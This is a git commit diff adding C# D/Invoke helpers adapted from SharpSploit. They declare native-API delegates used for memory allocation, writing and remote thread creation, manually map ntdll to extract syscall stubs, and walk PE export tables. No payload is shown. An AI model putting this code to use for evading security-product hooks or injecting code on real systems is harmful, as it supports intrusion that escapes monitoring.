This commit is contained in:
XingYun-Cloud 2021-02-08 13:05:10 +08:00
parent 85feab0b9e
commit 4f850274ca
21 changed files with 3188 additions and 759 deletions

Binary file not shown.

79
DInvoke/Delegates.cs Normal file
View File

@ -0,0 +1,79 @@
using System;
using System.Runtime.InteropServices;
class Delegates
{
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Native.NTSTATUS NtCreateThreadEx(
out IntPtr hThread,
Native.ACCESS_MASK DesiredAccess,
IntPtr ObjectAttributes,
IntPtr ProcessHandle,
IntPtr lpStartAddress,
IntPtr lpParameter,
bool CreateSuspended,
uint StackZeroBits,
uint SizeOfStackCommit,
uint SizeOfStackReserve,
IntPtr lpBytesBuffer
);
// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Native.NTSTATUS NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
Native.AllocationType AllocationType,
uint Protect
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate Native.NTSTATUS NtWaitForSingleObject(
IntPtr Object,
bool Alertable,
uint Timeout
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void RtlInitUnicodeString(ref Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtQueryInformationProcess(
IntPtr processHandle,
Native.PROCESSINFOCLASS processInformationClass,
IntPtr processInformation,
int processInformationLength,
ref UInt32 returnLength);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate void RtlZeroMemory(
IntPtr Destination,
int length);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtWriteVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
IntPtr Buffer,
UInt32 BufferLength,
ref UInt32 BytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
UInt32 NewProtect,
ref UInt32 OldProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtFreeVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
Native.AllocationType FreeType);
}

342
DInvoke/Generic.cs Normal file
View File

@ -0,0 +1,342 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using MessyTools;
class Generic
{
public static IntPtr GetSyscallStub(string FunctionName)
{
// Verify process & architecture
bool isWOW64 = Native.NtQueryInformationProcessWow64Information((IntPtr)(-1));
if (IntPtr.Size == 4 && isWOW64)
{
throw new InvalidOperationException("Generating Syscall stubs is not supported for WOW64.");
}
// Find the path for ntdll by looking at the currently loaded module
string NtdllPath = string.Empty;
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.EndsWith("ntdll.dll", StringComparison.OrdinalIgnoreCase))
{
NtdllPath = Mod.FileName;
}
}
// Alloc module into memory for parsing
IntPtr pModule = SharpSploit_Execution_ManualMap_Map.AllocateFileToMemory(NtdllPath);
// Fetch PE meta data
SharpSploit_Execution_ManualMap_PE.PE_META_DATA PEINFO = GetPeMetaData(pModule);
// Alloc PE image memory -> RW
IntPtr hProcess = Native.GetCurrentProcess(); // 进程句柄,当前进程为-1
IntPtr BaseAddress = IntPtr.Zero; // 接收分配的内存地址
IntPtr RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
UInt32 SizeOfHeaders = PEINFO.Is32Bit ? PEINFO.OptHeader32.SizeOfHeaders : PEINFO.OptHeader64.SizeOfHeaders;
IntPtr pImage = Native.NtAllocateVirtualMemory(
hProcess, ref BaseAddress, IntPtr.Zero, ref RegionSize,
Native.AllocationType.Commit | Native.AllocationType.Reserve,
(uint)Native.AllocationProtect.PAGE_READWRITE
);
// Write PE header to memory
UInt32 BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pImage, pModule, SizeOfHeaders);
// Write sections to memory
foreach (SharpSploit_Execution_ManualMap_PE.IMAGE_SECTION_HEADER ish in PEINFO.Sections)
{
// Calculate offsets
IntPtr pVirtualSectionBase = (IntPtr)((UInt64)pImage + ish.VirtualAddress);
IntPtr pRawSectionBase = (IntPtr)((UInt64)pModule + ish.PointerToRawData);
// Write data
BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pVirtualSectionBase, pRawSectionBase, ish.SizeOfRawData);
if (BytesWritten != ish.SizeOfRawData)
{
throw new InvalidOperationException("Failed to write to memory.");
}
}
// Get Ptr to function
IntPtr pFunc = GetExportAddress(pImage, FunctionName);
if (pFunc == IntPtr.Zero)
{
throw new InvalidOperationException("Failed to resolve ntdll export.");
}
// Alloc memory for call stub
BaseAddress = IntPtr.Zero;
RegionSize = (IntPtr)0x50;
IntPtr pCallStub = Native.NtAllocateVirtualMemory(
(IntPtr)(-1), ref BaseAddress, IntPtr.Zero, ref RegionSize,
Native.AllocationType.Commit | Native.AllocationType.Reserve,
(uint)Native.AllocationProtect.PAGE_READWRITE
);
// Write call stub
BytesWritten = Native.NtWriteVirtualMemory((IntPtr)(-1), pCallStub, pFunc, 0x50);
if (BytesWritten != 0x50)
{
throw new InvalidOperationException("Failed to write to memory.");
}
// Change call stub permissions
Native.NtProtectVirtualMemory((IntPtr)(-1), ref pCallStub, ref RegionSize, (uint)Native.AllocationProtect.PAGE_EXECUTE_READ);
// Free temporary allocations
Marshal.FreeHGlobal(pModule);
//RegionSize = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;
//Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Native.AllocationType.Reserve
//原代码有问题参考下面两个Microsoft docs重改写
//https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntfreevirtualmemory
//https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualfree
RegionSize = IntPtr.Zero;
Native.NtFreeVirtualMemory((IntPtr)(-1), ref pImage, ref RegionSize, Native.FreeType.MEM_RELEASE);
return pCallStub;
}
public static SharpSploit_Execution_ManualMap_PE.PE_META_DATA GetPeMetaData(IntPtr pModule)
{
SharpSploit_Execution_ManualMap_PE.PE_META_DATA PeMetaData = new SharpSploit_Execution_ManualMap_PE.PE_META_DATA();
try
{
UInt32 e_lfanew = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + 0x3c));
PeMetaData.Pe = (UInt32)Marshal.ReadInt32((IntPtr)((UInt64)pModule + e_lfanew));
// Validate PE signature
if (PeMetaData.Pe != 0x4550)
{
throw new InvalidOperationException("Invalid PE signature.");
}
PeMetaData.ImageFileHeader = (SharpSploit_Execution_ManualMap_PE.IMAGE_FILE_HEADER)Marshal.PtrToStructure((IntPtr)((UInt64)pModule + e_lfanew + 0x4), typeof(SharpSploit_Execution_ManualMap_PE.IMAGE_FILE_HEADER));
IntPtr OptHeader = (IntPtr)((UInt64)pModule + e_lfanew + 0x18);
UInt16 PEArch = (UInt16)Marshal.ReadInt16(OptHeader);
// Validate PE arch
if (PEArch == 0x010b) // Image is x32
{
PeMetaData.Is32Bit = true;
PeMetaData.OptHeader32 = (SharpSploit_Execution_ManualMap_PE.IMAGE_OPTIONAL_HEADER32)Marshal.PtrToStructure(OptHeader, typeof(SharpSploit_Execution_ManualMap_PE.IMAGE_OPTIONAL_HEADER32));
}
else if (PEArch == 0x020b) // Image is x64
{
PeMetaData.Is32Bit = false;
PeMetaData.OptHeader64 = (SharpSploit_Execution_ManualMap_PE.IMAGE_OPTIONAL_HEADER64)Marshal.PtrToStructure(OptHeader, typeof(SharpSploit_Execution_ManualMap_PE.IMAGE_OPTIONAL_HEADER64));
}
else
{
throw new InvalidOperationException("Invalid magic value (PE32/PE32+).");
}
// Read sections
SharpSploit_Execution_ManualMap_PE.IMAGE_SECTION_HEADER[] SectionArray = new SharpSploit_Execution_ManualMap_PE.IMAGE_SECTION_HEADER[PeMetaData.ImageFileHeader.NumberOfSections];
for (int i = 0; i < PeMetaData.ImageFileHeader.NumberOfSections; i++)
{
IntPtr SectionPtr = (IntPtr)((UInt64)OptHeader + PeMetaData.ImageFileHeader.SizeOfOptionalHeader + (UInt32)(i * 0x28));
SectionArray[i] = (SharpSploit_Execution_ManualMap_PE.IMAGE_SECTION_HEADER)Marshal.PtrToStructure(SectionPtr, typeof(SharpSploit_Execution_ManualMap_PE.IMAGE_SECTION_HEADER));
}
PeMetaData.Sections = SectionArray;
}
catch
{
throw new InvalidOperationException("Invalid module base specified.");
}
return PeMetaData;
}
public static Native.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref Native.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
{
// Craft an array for the arguments
object[] funcargs =
{
PathToFile, dwFlags, ModuleFileName, ModuleHandle
};
Native.NTSTATUS retValue = (Native.NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(Delegates.RtlInitUnicodeString), ref funcargs);
// Update the modified variables
ModuleHandle = (IntPtr)funcargs[3];
return retValue;
}
public static void RtlInitUnicodeString(ref Native.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
{
// Craft an array for the arguments
object[] funcargs =
{
DestinationString, SourceString
};
DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(Delegates.RtlInitUnicodeString), ref funcargs);
// Update the modified variables
DestinationString = (Native.UNICODE_STRING)funcargs[0];
}
/// <summary>
/// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="DLLName">Name of the DLL.</param>
/// <param name="FunctionName">Name of the function.</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
{
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
}
/// <summary>
/// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
/// </summary>
/// <author>The Wover (@TheRealWover)</author>
/// <param name="FunctionPointer">A pointer to the unmanaged function.</param>
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
{
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
return funcDelegate.DynamicInvoke(Parameters);
}
/// <summary>
/// Resolves LdrLoadDll and uses that function to load a DLL from disk.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>
public static IntPtr LoadModuleFromDisk(string DLLPath)
{
Native.UNICODE_STRING uModuleName = new Native.UNICODE_STRING();
RtlInitUnicodeString(ref uModuleName, DLLPath);
IntPtr hModule = IntPtr.Zero;
Native.NTSTATUS CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
if (CallResult != Native.NTSTATUS.Success || hModule == IntPtr.Zero)
{
return IntPtr.Zero;
}
return hModule;
}
/// <summary>
/// Helper for getting the base address of a module loaded by the current process. This base
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
/// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
public static IntPtr GetLoadedModuleAddress(string DLLName)
{
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
foreach (ProcessModule Mod in ProcModules)
{
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
{
return Mod.BaseAddress;
}
}
return IntPtr.Zero;
}
/// <summary>
/// Helper for getting the pointer to a function from a DLL loaded by the process.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
/// <param name="FunctionName">Name of the exported procedure.</param>
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero && CanLoadFromDisk)
{
hModule = LoadModuleFromDisk(DLLName);
if (hModule == IntPtr.Zero)
{
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
}
}
else if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found.");
}
return GetExportAddress(hModule, FunctionName);
}
/// <summary>
/// Given a module base address, resolve the address of a function by manually walking the module export table.
/// </summary>
/// <author>Ruben Boonen (@FuzzySec)</author>
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
/// <returns>IntPtr for the desired function.</returns>
public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(ExportName + ", export not found.");
}
return FunctionPtr;
}
}

240
DInvoke/MessyTools.cs Normal file
View File

@ -0,0 +1,240 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace MessyTools
{
class SharpSploit_Execution_ManualMap_Map
{
public static IntPtr AllocateFileToMemory(string FilePath)
{
if (!File.Exists(FilePath))
{
throw new InvalidOperationException("Filepath not found.");
}
byte[] bFile = File.ReadAllBytes(FilePath);
return AllocateBytesToMemory(bFile);
}
public static IntPtr AllocateBytesToMemory(byte[] FileByteArray)
{
IntPtr pFile = Marshal.AllocHGlobal(FileByteArray.Length);
Marshal.Copy(FileByteArray, 0, pFile, FileByteArray.Length);
return pFile;
}
}
class SharpSploit_Execution_ManualMap_PE
{
[StructLayout(LayoutKind.Sequential)]
public struct PE_META_DATA
{
public UInt32 Pe;
public Boolean Is32Bit;
public IMAGE_FILE_HEADER ImageFileHeader;
public IMAGE_OPTIONAL_HEADER32 OptHeader32;
public IMAGE_OPTIONAL_HEADER64 OptHeader64;
public IMAGE_SECTION_HEADER[] Sections;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt64 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt64 SizeOfStackReserve;
public UInt64 SizeOfStackCommit;
public UInt64 SizeOfHeapReserve;
public UInt64 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public UInt32 VirtualAddress;
public UInt32 Size;
}
[Flags]
public enum DataSectionFlags : uint
{
TYPE_NO_PAD = 0x00000008,
CNT_CODE = 0x00000020,
CNT_INITIALIZED_DATA = 0x00000040,
CNT_UNINITIALIZED_DATA = 0x00000080,
LNK_INFO = 0x00000200,
LNK_REMOVE = 0x00000800,
LNK_COMDAT = 0x00001000,
NO_DEFER_SPEC_EXC = 0x00004000,
GPREL = 0x00008000,
MEM_FARDATA = 0x00008000,
MEM_PURGEABLE = 0x00020000,
MEM_16BIT = 0x00020000,
MEM_LOCKED = 0x00040000,
MEM_PRELOAD = 0x00080000,
ALIGN_1BYTES = 0x00100000,
ALIGN_2BYTES = 0x00200000,
ALIGN_4BYTES = 0x00300000,
ALIGN_8BYTES = 0x00400000,
ALIGN_16BYTES = 0x00500000,
ALIGN_32BYTES = 0x00600000,
ALIGN_64BYTES = 0x00700000,
ALIGN_128BYTES = 0x00800000,
ALIGN_256BYTES = 0x00900000,
ALIGN_512BYTES = 0x00A00000,
ALIGN_1024BYTES = 0x00B00000,
ALIGN_2048BYTES = 0x00C00000,
ALIGN_4096BYTES = 0x00D00000,
ALIGN_8192BYTES = 0x00E00000,
ALIGN_MASK = 0x00F00000,
LNK_NRELOC_OVFL = 0x01000000,
MEM_DISCARDABLE = 0x02000000,
MEM_NOT_CACHED = 0x04000000,
MEM_NOT_PAGED = 0x08000000,
MEM_SHARED = 0x10000000,
MEM_EXECUTE = 0x20000000,
MEM_READ = 0x40000000,
MEM_WRITE = 0x80000000
}
}
}

801
DInvoke/Native.cs Normal file
View File

@ -0,0 +1,801 @@
using System;
using System.Runtime.InteropServices;
public class Native
{
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
public enum NTSTATUS : uint
{
// Success
Success = 0x00000000,
// Wait0 = 0x00000000,
Wait1 = 0x00000001,
Wait2 = 0x00000002,
Wait3 = 0x00000003,
Wait63 = 0x0000003f,
Abandoned = 0x00000080,
AbandonedWait0 = 0x00000080,
AbandonedWait1 = 0x00000081,
AbandonedWait2 = 0x00000082,
AbandonedWait3 = 0x00000083,
AbandonedWait63 = 0x000000bf,
UserApc = 0x000000c0,
KernelApc = 0x00000100,
Alerted = 0x00000101,
Timeout = 0x00000102,
Pending = 0x00000103,
Reparse = 0x00000104,
MoreEntries = 0x00000105,
NotAllAssigned = 0x00000106,
SomeNotMapped = 0x00000107,
OpLockBreakInProgress = 0x00000108,
VolumeMounted = 0x00000109,
RxActCommitted = 0x0000010a,
NotifyCleanup = 0x0000010b,
NotifyEnumDir = 0x0000010c,
NoQuotasForAccount = 0x0000010d,
PrimaryTransportConnectFailed = 0x0000010e,
PageFaultTransition = 0x00000110,
PageFaultDemandZero = 0x00000111,
PageFaultCopyOnWrite = 0x00000112,
PageFaultGuardPage = 0x00000113,
PageFaultPagingFile = 0x00000114,
CrashDump = 0x00000116,
ReparseObject = 0x00000118,
NothingToTerminate = 0x00000122,
ProcessNotInJob = 0x00000123,
ProcessInJob = 0x00000124,
ProcessCloned = 0x00000129,
FileLockedWithOnlyReaders = 0x0000012a,
FileLockedWithWriters = 0x0000012b,
// Informational
Informational = 0x40000000,
ObjectNameExists = 0x40000000,
ThreadWasSuspended = 0x40000001,
WorkingSetLimitRange = 0x40000002,
ImageNotAtBase = 0x40000003,
RegistryRecovered = 0x40000009,
// Warning
Warning = 0x80000000,
GuardPageViolation = 0x80000001,
DatatypeMisalignment = 0x80000002,
Breakpoint = 0x80000003,
SingleStep = 0x80000004,
BufferOverflow = 0x80000005,
NoMoreFiles = 0x80000006,
HandlesClosed = 0x8000000a,
PartialCopy = 0x8000000d,
DeviceBusy = 0x80000011,
InvalidEaName = 0x80000013,
EaListInconsistent = 0x80000014,
NoMoreEntries = 0x8000001a,
LongJump = 0x80000026,
DllMightBeInsecure = 0x8000002b,
// Error
Error = 0xc0000000,
Unsuccessful = 0xc0000001,
NotImplemented = 0xc0000002,
InvalidInfoClass = 0xc0000003,
InfoLengthMismatch = 0xc0000004,
AccessViolation = 0xc0000005,
InPageError = 0xc0000006,
PagefileQuota = 0xc0000007,
InvalidHandle = 0xc0000008,
BadInitialStack = 0xc0000009,
BadInitialPc = 0xc000000a,
InvalidCid = 0xc000000b,
TimerNotCanceled = 0xc000000c,
InvalidParameter = 0xc000000d,
NoSuchDevice = 0xc000000e,
NoSuchFile = 0xc000000f,
InvalidDeviceRequest = 0xc0000010,
EndOfFile = 0xc0000011,
WrongVolume = 0xc0000012,
NoMediaInDevice = 0xc0000013,
NoMemory = 0xc0000017,
ConflictingAddresses = 0xc0000018,
NotMappedView = 0xc0000019,
UnableToFreeVm = 0xc000001a,
UnableToDeleteSection = 0xc000001b,
IllegalInstruction = 0xc000001d,
AlreadyCommitted = 0xc0000021,
AccessDenied = 0xc0000022,
BufferTooSmall = 0xc0000023,
ObjectTypeMismatch = 0xc0000024,
NonContinuableException = 0xc0000025,
BadStack = 0xc0000028,
NotLocked = 0xc000002a,
NotCommitted = 0xc000002d,
InvalidParameterMix = 0xc0000030,
ObjectNameInvalid = 0xc0000033,
ObjectNameNotFound = 0xc0000034,
ObjectNameCollision = 0xc0000035,
ObjectPathInvalid = 0xc0000039,
ObjectPathNotFound = 0xc000003a,
ObjectPathSyntaxBad = 0xc000003b,
DataOverrun = 0xc000003c,
DataLate = 0xc000003d,
DataError = 0xc000003e,
CrcError = 0xc000003f,
SectionTooBig = 0xc0000040,
PortConnectionRefused = 0xc0000041,
InvalidPortHandle = 0xc0000042,
SharingViolation = 0xc0000043,
QuotaExceeded = 0xc0000044,
InvalidPageProtection = 0xc0000045,
MutantNotOwned = 0xc0000046,
SemaphoreLimitExceeded = 0xc0000047,
PortAlreadySet = 0xc0000048,
SectionNotImage = 0xc0000049,
SuspendCountExceeded = 0xc000004a,
ThreadIsTerminating = 0xc000004b,
BadWorkingSetLimit = 0xc000004c,
IncompatibleFileMap = 0xc000004d,
SectionProtection = 0xc000004e,
EasNotSupported = 0xc000004f,
EaTooLarge = 0xc0000050,
NonExistentEaEntry = 0xc0000051,
NoEasOnFile = 0xc0000052,
EaCorruptError = 0xc0000053,
FileLockConflict = 0xc0000054,
LockNotGranted = 0xc0000055,
DeletePending = 0xc0000056,
CtlFileNotSupported = 0xc0000057,
UnknownRevision = 0xc0000058,
RevisionMismatch = 0xc0000059,
InvalidOwner = 0xc000005a,
InvalidPrimaryGroup = 0xc000005b,
NoImpersonationToken = 0xc000005c,
CantDisableMandatory = 0xc000005d,
NoLogonServers = 0xc000005e,
NoSuchLogonSession = 0xc000005f,
NoSuchPrivilege = 0xc0000060,
PrivilegeNotHeld = 0xc0000061,
InvalidAccountName = 0xc0000062,
UserExists = 0xc0000063,
NoSuchUser = 0xc0000064,
GroupExists = 0xc0000065,
NoSuchGroup = 0xc0000066,
MemberInGroup = 0xc0000067,
MemberNotInGroup = 0xc0000068,
LastAdmin = 0xc0000069,
WrongPassword = 0xc000006a,
IllFormedPassword = 0xc000006b,
PasswordRestriction = 0xc000006c,
LogonFailure = 0xc000006d,
AccountRestriction = 0xc000006e,
InvalidLogonHours = 0xc000006f,
